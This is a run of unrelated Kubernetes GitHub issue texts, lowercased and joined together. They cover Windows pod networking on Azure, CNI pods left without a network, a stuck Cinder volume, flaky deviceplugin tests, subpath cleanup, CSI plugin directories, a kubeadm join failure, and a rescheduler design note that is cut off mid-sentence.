path/filepath.walk 0x1ed8c58, 0xa, 0xc42030e140, 0xa, 0x0 \r \t/usr/local/go/src/path/filepath/path.go:398 +0x14c\r k8s.io/kubernetes/pkg/kubectl/plugins.  directorypluginloader .load 0xc42030e030, 0x2cd3e20, 0x0, 0x0, 0x2cd3e20, 0x0 \r \t/home/sjennings/projects/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/plugins/loader.go:98 +0x171\r k8s.io/kubernetes/pkg/kubectl/plugins.tolerantmultipluginloader.load 0xc42000a480, 0x2, 0x2, 0x40f448, 0x0, 0x1c00d60, 0xc42000a701, 0x2cd3e20 \r \t/home/sjennings/projects/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/plugins/loader.go:179 +0x93\r k8s.io/kubernetes/pkg/kubectl/plugins.  tolerantmultipluginloader .load 0xc42000a640, 0x2cd3e20, 0x40cc18, 0x1c98f20, 0xc42000a720, 0xc420887b48 \r \t<autogenerated>:5 +0x5f\r k8s.io/kubernetes/pkg/kubectl/plugins.tolerantmultipluginloader.load 0xc42000a680, 0x2, 0x2, 0xc420887b88, 0x1a1e3ba, 0xc420435460, 0x2ba3d60, 0xc42000a720 \r \t/home/sjennings/projects/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/plugins/loader.go:179 +0x93\r k8s.io/kubernetes/pkg/kubectl/plugins.  tolerantmultipluginloader .load 0xc42000a720, 0x2ba3d60, 0xc42000a720, 0xc4202f9200, 0x1f759b0, 0xc \r \t<autogenerated>:5 +0x5f\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmdplugin 0x2bc7180, 0xc42024d080, 0x2ba2f60, 0xc42000c010, 0x2ba2fa0, 0xc42000c018, 0x2ba2fa0, 0xc42000c020, 0xc4208a0540 \r \t/home/sjennings/projects/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/plugin.go:44 +0x60\r k8s.io/kubernetes/pkg/kubectl/cmd.newkubectlcommand 0x2bc7180, 0xc42024d080, 0x2ba2f60, 0xc42000c010, 0x2ba2fa0, 0xc42000c018, 0x2ba2fa0, 0xc42000c020, 0x1b0912e \r \t/home/sjennings/projects/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/cmd.go:371 +0x16f3\r k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r \t/home/sjennings/projects/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:38 +0xc7\r main.main  \r \t/home/sjennings/projects/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:26 +0x22\r    \r

/bug\r   \r \r \r   what happened  :\r deployed kubernetes cluster on azure container service  via portal . azure creates the resource group with all cluster related resources  vms, load balancers, nsg rules, etc . cluster is working fine in terms of k8s resource deployment. \r \r deployed simple iis server on the cluster:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: iis\r spec:\r   containers:\r   - name: iis\r     image: microsoft/iis:nanoserver\r     imagepullpolicy: ifnotpresent\r     ports:\r     - containerport: 80\r    \r \r however, the iis server container has no outbound internet connection. verified with accessing the container via  kubectl exec -it iis -- powershell  and then pinging external ip, for example:\r    sh\r windows powershell\r copyright  c  2016 microsoft corporation. all rights reser\r \r ps c:\\> ping www.google.com\r \r pinging www.google.com  172.217.3.164  with 32 bytes of da\r request timed out.\r request timed out.\r request timed out.\r request timed out.\r \r ping statistics for 172.217.3.164:\r     packets: sent = 4, received = 0, lost = 4  100% loss ,\r    \r \r  ipconfig  from inside the  iis  container:\r    sh\r ps c:\\> ipconfig\r \r windows ip configuration\r \r \r ethernet adapter vethernet  container nic 4985007b :\r \r    connection-specific dns suffix  . :\r    link-local ipv6 address . . . . . : fe80::adab:f843:ca7a:c664%33\r    ipv4 address. . . . . . . . . . . : 10.244.1.174\r    subnet mask . . . . . . . . . . . : 255.255.255.0\r    default gateway . . . . . . . . . :\r \r ethernet adapter vethernet  container nic 4053100c :\r \r    connection-specific dns suffix  . :                           .xx.internal.cloudapp.net\r    link-local ipv6 address . . . . . : fe80::75ff:25d4:4313:e70c%37\r    ipv4 address. . . . . . . . . . . : 172.19.170.9\r    subnet mask . . . . . . . . . . . : 255.255.240.0\r    default gateway . . . . . . . . . : 172.19.160.1\r    \r \r i've read around the docs and some stackoverflow, thus tried to set various dnspolicies to deploy a new iis pod:\r    yml\r apiversion: v1\r kind: pod\r metadata:\r   name: iis-hostnet-dnspolicy\r spec:\r   containers:\r   - name: iis\r     image: microsoft/iis:nanoserver\r     imagepullpolicy: ifnotpresent\r     ports:\r     - containerport: 80\r     hostnetwork: true\r   dnspolicy: clusterfirstwithhostnet\r     dnspolicy: default\r    \r \r running into same problems with various dnspolicies being set - there seems to be total block of outbound access to internet. i've read that kubernetes is flaky with windows network bridges  ? , however there is no way for me to verify. \r \r   what you expected to happen  :\r \r expected  ping  to respond and verify that there is outbound internet connection.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy a cluster on azure container service  via portal . \r 2. deploy a pod to your cluster  i.e. iis .\r 3. attach shell to running pod and try to access  i.e. ping  to outbound internet.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    sh\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7\ , gitcommit:\ 8e1552342355496b62754e61ad5f802a0f3f1fa7\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t23:56:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r cloud provider is azure container service with windows minions.\r a windows minion hardware configuration:\r    sh\r c:\\users\\masroorh> kubectl describe node 19190k8s9000\r name:                   19190k8s9000\r role:\r labels:                 beta.kubernetes.io/arch=amd64\r                         beta.kubernetes.io/instance-type=standard_ds2_v2\r                         beta.kubernetes.io/os=windows\r                         failure-domain.beta.kubernetes.io/region=westus2\r                         failure-domain.beta.kubernetes.io/zone=0\r                         kubernetes.io/hostname=19190k8s9000\r \r \r addresses:\r   internalip:   10.240.0.4\r   hostname:     19190k8s9000\r capacity:\r  cpu:           2\r  memory:        7gi\r  pods:          110\r allocatable:\r  cpu:           2\r  memory:        7gi\r  pods:          110\r system info:\r  machine id:                    19190k8s9000\r  system uuid:\r  boot id:\r  kernel version:                10.0 14393  14393.1715.amd64fre.rs1_release_inmarket.170906-1810 \r \r    \r \r - os  e.g. from /etc/os-release :\r \r    sh\r creationtimestamp:      fri, 27 oct 2017 15:31:02 -0700\r conditions:\r   type                  status  lastheartbeattime                       lasttransitiontime                      reason                          message\r   ----                  ------  -----------------                       ------------------                      ------                          -------\r   networkunavailable    false   fri, 27 oct 2017 15:31:20 -0700         fri, 27 oct 2017 15:31:20 -0700         routecreated                    routecontroller created a route\r   outofdisk             false   mon, 20 nov 2017 09:37:21 -0800         wed, 15 nov 2017 01:52:31 -0800         kubelethassufficientdisk        kubelet has sufficient disk space available\r   memorypressure        false   mon, 20 nov 2017 09:37:21 -0800         wed, 15 nov 2017 01:52:31 -0800         kubelethassufficientmemory      kubelet has sufficient memory available\r   diskpressure          false   mon, 20 nov 2017 09:37:21 -0800         wed, 15 nov 2017 01:52:31 -0800         kubelethasnodiskpressure        kubelet has no disk pressure\r   ready                 true    mon, 20 nov 2017 09:37:21 -0800         wed, 15 nov 2017 01:52:31 -0800         kubeletready                    kubelet is posting ready status\r addresses:\r   internalip:   10.240.0.4\r   hostname:     19190k8s9000\r capacity:\r  cpu:           2\r  memory:        7gi\r  pods:          110\r allocatable:\r  cpu:           2\r  memory:        7gi\r  pods:          110\r system info:\r  machine id:                    19190k8s9000\r  system uuid:\r  boot id:\r  kernel version:                10.0 14393  14393.1715.amd64fre.rs1_release_inmarket.170906-1810 \r  os image:\r  operating system:              windows\r  architecture:                  amd64\r  container runtime version:     docker://unknown\r  kubelet version:               v1.7.7-7+e79c96c8ff2d8e\r  kube-proxy version:            v1.7.7-7+e79c96c8ff2d8e\r podcidr:                        10.244.2.0/24\r    \r \r - others:\r i've browsed a few stackoverflow articles and the general consensus is to just to use  acs-engine  instead of native acs  via portal , for example:\r https://stackoverflow.com/questions/42774110/azure-container-service-with-kubernetes-containers-not-able-to-reach-internet\r \r it's a last resort option, but i'm trying to understand the networking issues/bug that might be blocking the containers from having access to outside internet.\r \r please feel free to let me know if this is azure specific issue then i can move the issue to azure repo - however some help here regarding solving this issue/bug would be much appreciated.\r \r thanks.\r

 \r   what happened  :\r \r sometimes pods start with no network and stay that way. their services aren't reachable.\r \r   what you expected to happen  :\r \r pod should have some  eth@  interface, not only the  lo . host's iptables should contain some dnat and --dport rules instead of reject rules with \ default/my-service: has no endpoints\  comments.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r happens on reboot for a small percentage of pods.\r \r   anything else we need to know?  :\r \r on system boot or when deleting that kind of pod, there are logs like that in kubelet:\r    \r networkplugin cni failed on the status hook for pod \ <pod>\ : unexpected command output nsenter: cannot open : no such file or directory\r    \r \r killing the pod starts a new one that's functional.\r \r   environment  :\r - kubernetes version:\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:48:59z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r single node, bare metal, bridge networking plugin:\r    \r {\r \t\ name\ : \ knet0\ ,\r \t\ type\ : \ bridge\ ,\r \t\ bridge\ : \ kbr0\ ,\r \t\ isdefaultgateway\ : true,\r \t\ forceaddress\ : false,\r \t\ ipmasq\ : true,\r \t\ hairpinmode\ : true,\r \t\ ipam\ : {\r \t\t\ type\ : \ host-local\ ,\r \t\t\ subnet\ : \ 10.10.0.0/16\ \r \t}\r }\r \r    \r \r - os: ubuntu 16.04.3 lts\r - kernel: 4.4.0-103-generic 126-ubuntu\r - install tools: kubeadm\r - others: n/a\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i created a replicationcontroller with a pod using a cinder pvc as volume. when i used 'nova stop' to shut down the node where the pod is put  and where the cinder volume is attached to , the pod got rescheduled to another node but it can't become active because the cinder volume stays attached to the old node and k8s can't attach it to the new node because its state is 'in-use'.\r \r   what you expected to happen  :\r k8s should be able to detach the cinder volume from the old node so that it can be attached to the new node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1 create k8s cluster with openstack provider\r 2 create a pvc\r 3 create replicationcontroller with a pod using the pvc as volume\r 4 wait until the pod becomes active\r 5 find which node the pod is located and use 'nova stop' to shutdown that node\r 6 check the pod status and it remains in containercreating.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.8.1\r - cloud provider or hardware configuration:\r openstack cloud provider\r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r - kernel  e.g.  uname -a  :\r linux k8s-master-0-53eacf69-fc5c-4660-a010-26e1852474f5 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

this is not 100% reproducable in my cluster.\r \r there is 20% chance of failing in my environment.\r \r    \r $ make test what=k8s.io/kubernetes/pkg/kubelet/cm/deviceplugin\r \r \r \r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1beta1,apps/v1beta2,apps/v1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  0115 17:59:27  running tests without code coverage\r 2018/01/15 17:59:30 starting to serve on /tmp/mock.sock\r 2018/01/15 17:59:30 starting to serve on /tmp/mock.sock\r e0115 17:59:30.481555   29183 endpoint.go:101  listandwatch ended unexpectedly for device plugin mock with error rpc error: code = unavailable desc = grpc: the connection is unavailable\r panic: test timed out after 4m0s\r \r goroutine 42  running :\r testing.startalarm.func1  \r \t/usr/local/go/src/testing/testing.go:1145 +0xf9\r created by time.gofunc\r \t/usr/local/go/src/time/sleep.go:170 +0x44\r \r goroutine 1  chan receive, 4 minutes :\r testing.  t .run 0xc4203bc000, 0x13342fd, 0x7, 0x13b9570, 0x481901 \r \t/usr/local/go/src/testing/testing.go:790 +0x2fc\r testing.runtests.func1 0xc4203bc000 \r \t/usr/local/go/src/testing/testing.go:1004 +0x64\r testing.trunner 0xc4203bc000, 0xc4204e1de0 \r \t/usr/local/go/src/testing/testing.go:746 +0xd0\r testing.runtests 0xc42015fb20, 0x1b9ce20, 0xb, 0xb, 0x115f4a0 \r \t/usr/local/go/src/testing/testing.go:1002 +0x2d8\r testing.  m .run 0xc420397f18, 0xc4204e1f70 \r \t/usr/local/go/src/testing/testing.go:921 +0x111\r main.main  \r \tk8s.io/kubernetes/pkg/kubelet/cm/deviceplugin/_test/_testmain.go:64 +0xdb\r \r goroutine 5  chan receive :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x1ba9220 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x9f\r created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.0\r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x203\r \r goroutine 14  chan receive, 4 minutes :\r k8s.io/kubernetes/pkg/kubelet/cm/deviceplugin.testrun 0xc4203bc2d0 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/cm/deviceplugin/endpoint_test.go:93 +0x4af\r testing.trunner 0xc4203bc2d0, 0x13b9570 \r \t/usr/local/go/src/testing/testing.go:746 +0xd0\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:789 +0x2de\r \r goroutine 15  io wait, 4 minutes :\r internal/poll.runtime_pollwait 0x7f38f9f09eb0, 0x72, 0xffffffffffffffff \r \t/usr/local/go/src/runtime/netpoll.go:173 +0x57\r internal/poll.  polldesc .wait 0xc420182798, 0x72, 0xc420050400, 0x0, 0x0 \r \t/usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0xae\r internal/poll.  polldesc .waitread 0xc420182798, 0xffffffffffffff00, 0x0, 0x0 \r \t/usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x3d\r internal/poll.  fd .accept 0xc420182780, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 \r \t/usr/local/go/src/internal/poll/fd_unix.go:335 +0x1e2\r net.  netfd .accept 0xc420182780, 0x18, 0xc4200505f0, 0x13ba3d8 \r \t/usr/local/go/src/net/fd_unix.go:238 +0x42\r net.  unixlistener .accept 0xc42017e360, 0xc4200506a0, 0x18, 0x7e30bd \r \t/usr/local/go/src/net/unixsock_posix.go:162 +0x32\r net.  unixlistener .accept 0xc42017e360, 0x13ba388, 0xc4200ee500, 0x1b4bfa0, 0xc42017e360 \r \t/usr/local/go/src/net/unixsock.go:241 +0x49\r k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .serve 0xc4200ee500, 0x1b4bfa0, 0xc42017e360, 0x0, 0x0 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:475 +0x196\r created by k8s.io/kubernetes/pkg/kubelet/cm/deviceplugin.  stub .start\r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/cm/deviceplugin/device_plugin_stub.go:88 +0x15c\r \r goroutine 50  select :\r k8s.io/kubernetes/vendor/google.golang.org/grpc.  addrconn .resettransport 0xc420264200, 0x0, 0x0 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:994 +0xbd6\r k8s.io/kubernetes/vendor/google.golang.org/grpc.  addrconn .connect.func1 0xc420264200 \r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:695 +0x2f\r created by k8s.io/kubernetes/vendor/google.golang.org/grpc.  addrconn .connect\r \t/home/fujitsu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:694 +0x40d\r fail\tk8s.io/kubernetes/pkg/kubelet/cm/deviceplugin\t240.014s\r makefile:182: recipe for target 'test' failed\r make:      test  error 1\r \r

fix status:  \r -  x  fixed in master in https://github.com/kubernetes/kubernetes/pull/61373\r -  x  fixed in release-1.10 branch in  61518, will be in 1.10.0\r -  x  fixed in release-1.9 branch in  61519, will be in 1.9.7\r -  x  fixed in release-1.8 branch in  61520, will be in 1.8.11\r -  x  fixed in release-1.7 branch in  61521, will be in 1.7.16\r \r \r in subpath fixes, pr https://github.com/kubernetes/kubernetes/pull/61044 adds bind mount for subpaths. it uses  /var/lib/kubelet/pods/<uid>/volume-subpaths/<volumename>  as the path name. the volumename in this path is the container's mount volume name which is also called outervolumespecname in  operation_executor.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_executor.go l476 .\r \r this becomes an issue for volume reconstruction when kubelet restarts. volume  reconstruction  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/reconciler/reconciler.go l556  scans the volume directories and recover the innervolumespecname  which is used to construct pod volume paths . volume reconstruction has not enough information to recover the outervolumespecname and figure out which volume it maps to. in case kubelet needs to clean up mounts  it happens when volume spec cannot be reconstructed , it will fail to clean up the subpaths because of lacking the outervolumespecname.\r \r we think it is better to use innervolumespecname for volume subpath instead of outervolumespecname so that volume clean up can work. the issue we might have is that some users might already deploy a cluster with subpath might already  subpath fix  https://github.com/kubernetes/kubernetes/pull/61044 . if the users perform an in-place upgrade, since new version will use innervolumespecname which might have conflicts with some other older version's outervolumespecname among different volumes. this change requires clear documentation and communication with the users.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r https://github.com/kubernetes/community/blob/master/contributors/design-proposals/storage/raw-block-pv.md\r https://github.com/kubernetes/features/issues/351\r \r   what you expected to happen  :\r i will try to implement this feature for azure disk in v1.11\r @jdumars @khenidak \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  kind feature\r \r \r   what happened  :\r kubelet cannot start kube-proxy container after run \ kubeadm join \  command\r the error log:\r    \r 9月 02 09:13:23 worker-node6 kubelet 28517 : e0902 09:13:23.347869   28517 kuberuntime_manager.go:646  createpodsandbox for pod \ kube-proxy-5mgbx_kube-system 93487072-ae8a-11e8-885b-0800279a8da4 \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-proxy-5mgbx\ : error response from daemon: oci runtime error: fork/exec /usr/libexec/oci/hooks.d/oci-register-machine: exec format error\r 9月 02 09:13:23 worker-node6 kubelet 28517 : e0902 09:13:23.348310   28517 pod_workers.go:186  error syncing pod 93487072-ae8a-11e8-885b-0800279a8da4  \ kube-proxy-5mgbx_kube-system 93487072-ae8a-11e8-885b-0800279a8da4 \  , skipping: failed to \ createpodsandbox\  for \ kube-proxy-5mgbx_kube-system 93487072-ae8a-11e8-885b-0800279a8da4 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ kube-proxy-5mgbx_kube-system 93487072-ae8a-11e8-885b-0800279a8da4 \\\  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \\\ kube-proxy-5mgbx\\\ : error response from daemon: oci runtime error: fork/exec /usr/libexec/oci/hooks.d/oci-register-machine: exec format error\ \r 9月 02 09:13:23 worker-node6 kubelet 28517 : w0902 09:13:23.350921   28517 container.go:393  failed to create summary reader for \ /kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod93487072_ae8a_11e8_885b_0800279a8da4.slice/docker-a07d4eb491ead2203c3c615d7141847ca038e01164693e4dbc3eecf00c79c06f.scope\ : none of the resources are being tracked.\r 9月 02 09:13:23 worker-node6 kubelet 28517 : e0902 09:13:23.369960   28517 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-flannel-ds-hgmv2\ : error response from daemon: oci runtime error: fork/exec /usr/libexec/oci/hooks.d/oci-register-machine: exec format error\r 9月 02 09:13:23 worker-node6 kubelet 28517 : e0902 09:13:23.370426   28517 kuberuntime_sandbox.go:56  createpodsandbox for pod \ kube-flannel-ds-hgmv2_kube-system 93430631-ae8a-11e8-885b-0800279a8da4 \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-flannel-ds-hgmv2\ : error response from daemon: oci runtime error: fork/exec /usr/libexec/oci/hooks.d/oci-register-machine: exec format error\r 9月 02 09:13:23 worker-node6 kubelet 28517 : e0902 09:13:23.370865   28517 kuberuntime_manager.go:646  createpodsandbox for pod \ kube-flannel-ds-hgmv2_kube-system 93430631-ae8a-11e8-885b-0800279a8da4 \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-flannel-ds-hgmv2\ : error response from daemon: oci runtime error: fork/exec /usr/libexec/oci/hooks.d/oci-register-machine: exec format error\r 9月 02 09:13:23 worker-node6 kubelet 28517 : e0902 09:13:23.371224   28517 pod_workers.go:186  error syncing pod 93430631-ae8a-11e8-885b-0800279a8da4  \ kube-flannel-ds-hgmv2_kube-system 93430631-ae8a-11e8-885b-0800279a8da4 \  , skipping: failed to \ createpodsandbox\  for \ kube-flannel-ds-hgmv2_kube-system 93430631-ae8a-11e8-885b-0800279a8da4 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ kube-flannel-ds-hgmv2_kube-system 93430631-ae8a-11e8-885b-0800279a8da4 \\\  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \\\ kube-flannel-ds-hgmv2\\\ : error response from daemon: oci runtime error: fork/exec /usr/libexec/oci/hooks.d/oci-register-machine: exec format error\ \r 9月 02 09:13:23 worker-node6 kubelet 28517 : w0902 09:13:23.373367   28517 container.go:393  failed to create summary reader for \ /kubepods.slice/kubepods-pod93430631_ae8a_11e8_885b_0800279a8da4.slice/docker-8162305345bb646a68a577a9a881063cc3615a1fc2ee832031e1b3075a55af62.scope\ : none of the resources are being tracked.\r 9月 02 09:13:23 worker-node6 kubelet 28517 : w0902 09:13:23.740603   28517 pod_container_deletor.go:75  container \ a07d4eb491ead2203c3c615d7141847ca038e01164693e4dbc3eecf00c79c06f\  not found in pod's containers\r 9月 02 09:13:23 worker-node6 kubelet 28517 : w0902 09:13:23.786796   28517 pod_container_deletor.go:75  container \ 8162305345bb646a68a577a9a881063cc3615a1fc2ee832031e1b3075a55af62\  not found in pod's containers\r    \r \r   what you expected to happen  :\r other work-node works fine after running \ kubeadm join\  command, but the last worker node failed.\r   how to reproduce it  as minimally and precisely as possible   :\r run \ kubeadm join\  command on worker node.\r \r   anything else we need to know?  :\r i have six worker nodes and five of them in good state.\r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2\r - cloud provider or hardware configuration: virtualbox \r - os  e.g. from /etc/os-release : centos linux 7 \r - kernel  e.g.  uname -a  : 3.10.0-862.11.6.el7.x86_64\r - install tools: kubeadm, kubectl, kubelet\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r csi allows 0.x drivers only in the deprecated kubelet plugin dir.\r csi allows 1.x drivers only in the new kubelet plugin dir.\r \r if a driver implements both 0.x and 1.x  which is unlikely since the side car containers do not support this , kubelet requires the driver live in new kubelet plugin dir.\r \r so csi drivers that implement both 0.x and 1.x if they want a seamless transition between k8s 1.12 to 1.13 would need to deploy in both old and new dir.\r \r   what you expected to happen  :\r \r @liggitt argues that this is adding churn for csi authors. he recommends allowing any driver that implements 0.x  even if it implements 1.x  to use either new or old  not just new .\r \r /milestone v1.13\r \r if release team approves, pr is small and i can get prepare it pretty quickly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

it's premature to start working on this, but i wanted to jot down some notes collected from past conversations and experience on this topic  and i noticed we didn't have an issue for this yet .  a rescheduler is an agent that proactively causes currently-running pods to be moved, so as to optimize some objective function for goodness of the layout of pods in the cluster.  the objective function doesn't have to be expressed mathematically; it may just be a collection of ad-hoc rules, but in principle there is an objective function. implicitly an objective function is described by the scheduler's predicate and   it might be triggered to run every n minutes, or whenever some event happens that is known to make the objective function worse  for example, whenever a pod goes pending for a long time.   a rescheduler is useful because without a rescheduler, scheduling decisions are only made at the time pods are created. but as the cluster layout changes over time, free \ holes\  are often produced that were not available when a pod was initially scheduled. these holes are produced by run-to-completion pods terminating, empty nodes being added by a node auto-scaler, etc. moving already-running pods into these holes may lead to a better cluster layout. a rescheduler might not just exploit existing holes, but also create holes by evicting pods  assuming it knows they can reschedule elsewhere , as in free space defragmentation.    although alluded to above, it's worth emphasizing that rescheduling is the only way to make use of new nodes added by a cluster auto-scaler  unless pods were already pending; but even then, it's likely advantageous to put more than just the previously pending pods on the new nodes.    because rescheduling is disruptive--it causes one or more already-running pods to die when they otherwise wouldn't--a key constraint on rescheduling is that it must be done subject to disruption slos. there are a number of ways to specify these slos--a global rate limit across all pods, a rate limit across a set of pods defined by some particular label selector, a maximum number of pods that can be down at any one time among a set defined by some particular label selector, etc. these policies are presumably part of the rescheduler's configuration.  there are a lot of design possibilities for a rescheduler. to explain them, it's easiest to start with the description of a baseline rescheduler, and then describe possible modifications. the baseline rescheduler - only kicks in when there are one or more pending pods for some period of time; its objective function is binary: completely happy if there are no pending pods, and completely unhappy if there are pending pods; it does not try to optimize for any other aspect of cluster layout - is not a scheduler -- it simply identifies a node where a pending pod could fit if one or more pods on that node were moved out of the way, and then kills those pods to make room for the pending pod, which will then be scheduled there by the regular scheduler s .   obviously this killing operation must be able to specify \ don't allow the killed pod to reschedule back to whence it was killed\  otherwise the killing is pointless  of course it should only do this if it is sure the killed pods will be able to reschedule into already-free space in the cluster. note that although it is not a scheduler, the rescheduler needs to be linked with the predicate functions of the scheduling algorithm s  so that it can know  1  that the pending pod would actually schedule into the hole it has identified once the hole is created, and  2  that the evicted pod s  will be able to schedule somewhere else in the cluster.  possible variations on this baseline rescheduler are 1  it can kill the pod s  whose space it wants   and also schedule the pod that will take that space and reschedule the pod s  that were killed  , rather than just killing the pod s  whose space it wants and relying on the regular scheduler s  to schedule the pod that will take that space  and to reschedule the pod s  that were evicted  2  it can run continuously in the background to optimize general cluster layout instead of just trying to get a pending pod to schedule 3  it can try to move groups of pods instead of using a one-at-a-time / greedy approach 4  it can formulate multi-hop plans instead of single-hop  a key design question for a rescheduler is how much knowledge it needs about the scheduling policies used by the cluster's scheduler s . - for the baseline rescheduler, it needs to know the predicate functions used by the cluster's scheduler s  else it can't know how to create a hole that the pending pod will fit into, nor be sure that the evicted pod s  will be able to reschedule elsewhere. - if it is going to run continuously in the background to optimize cluster layout but is still only going to kill pods, then it still needs to know the predicate functions for the reason mentioned 